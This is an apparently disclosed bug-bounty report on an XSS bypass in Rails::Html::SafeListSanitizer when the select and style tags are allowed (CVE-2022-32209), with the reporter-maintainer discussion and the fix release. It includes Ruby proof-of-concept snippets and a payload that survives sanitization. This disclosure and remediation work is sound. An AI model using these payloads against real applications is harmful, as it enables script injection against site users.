

7

## Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag

Share:



### TIMELINE



windshock submitted a report to [Ruby on Rails](#).

Apr 5th (8 months ago)

It seems to be a problem caused by a difference between the nokogiri java implementation and the ruby implementation.

It seems to be an ambiguous case as to whether to do it with nokogiri or have rails-html-sanitizer defend it.

jruby9.3.3.0 (nokogiri java), use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag  
code

**Code** 436 Bytes[Wrap lines](#) [Copy](#) [Download](#)

```
1 tags = %w(select style)
2 puts "-----"
3 puts "use Rails::Html::SafeListSanitizer.new.sanitize, allow select/style tag"
4 puts "input: <select<style/>W<xmp<script>alert(1)</script>"
5 puts "output: "+Rails::Html::SafeListSanitizer.new.sanitize("<select<style/>W<xmp<scr
6 puts "-----"
```

result

**Code** 670 Bytes[Wrap lines](#) [Copy](#) [Download](#)

```
1 input: <select<style/>W<xmp<script>alert(1)</script>
2 scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :W
3 scrub --> node type :Nokogiri::XML::Text, node name :text, node to_s :&lt;script&gt;a
4 scrub --> node type :Nokogiri::XML::Element, node name :xmp, node to_s :<xmp>&lt;scri
5 scrub --> node type :Nokogiri::XML::Element, node name :style, node to_s :<style>W<sc
```

## Impact

It is possible to bypass Rails::Html::SafeListSanitizer filtering and perform an XSS attack.



**flavorjones** Ruby on Rails staff changed the status to Triaged.

Apr 5th (8 months ago)

**@windshock** Thank you for submitting this report. I've reproduced this, but I do want to do a bit more investigation into whether the right place to fix this is in rails-html-sanitizer or in Nokogiri's JRuby parser, nekohtml.

May 30th (6 months ago)

**flavorjones** Ruby on Rails staff

changed the report title from **Rails::Html::SafeListSanitizer can be vulnerable to xss attack in an environment that allows the style tag and uses jruby.** to **Rails::Html::SafeListSanitizer vulnerable to xss attack in an environment that allows the style tag.**



**flavorjones** Ruby on Rails staff posted a comment.

May 30th (6 months ago)

This is a problem for CRuby as well if you use straightforward HTML that doesn't depend on how the parser corrects broken markup.

**Code** 157 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 frag = "<select><style><script>alert(1)</script></style></select>"
2 tags = %w(select style)
3 puts Rails::Html::SafeListSanitizer.new.sanitize(frag, tags: tags)
```

outputs

**Code** 57 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 <select><style><script>alert(1)</script></style></select>
```

on both CRuby and JRuby.



**windshock** posted a comment.

May 31st (6 months ago)

In **CVE-2015-7580** (<https://github.com/rails/rails-html-sanitizer/commit/63903b0eaa6d2a4e1c91bc86008256c4c8335e78>), the tags option (only em) of the test case, and the escape handling when processing cdata as text seem to be lacking.

```

1 bottom up traverse node type :Nokogiri::XML::Element, node name :style, node to_s :<s
2 bottom up traverse node type :Nokogiri::XML::CDATA, node name :#cdata-section, node t
3 node type :Nokogiri::XML::CDATA, node name :#cdata-section, node to_s :<script>alert(
4 scrub node.cdata text = <script>alert(1)</script>```

```



flavorjones Ruby on Rails staff posted a comment.

May 31st (6 months ago)

@windshock The CVE is for a slightly different issue; my point was only that this commit was when the behavior you're seeing was introduced (as a side effect). We're discussing which of several options we should use to fix this.



flavorjones Ruby on Rails staff posted a comment.

Jun 9th (6 months ago)

v1.4.3 has been released with a fix.



flavorjones Ruby on Rails staff closed the report and changed the status to Resolved.

Jun 9th (6 months ago)



flavorjones Ruby on Rails staff updated CVE reference to [CVE-2022-32209](#).

Jun 9th (6 months ago)



flavorjones Ruby on Rails staff requested to disclose this report.

Jun 9th (6 months ago)



flavorjones Ruby on Rails staff posted a comment.

Jun 9th (6 months ago)

Announcement made at <https://discuss.rubyonrails.org/t/cve-2022-32209-possible-xss-vulnerability-in-rails-sanitizer/80800>



windshock agreed to disclose this report.

Jun 13th (5 months ago)



This report has been disclosed.

Jun 13th (5 months ago)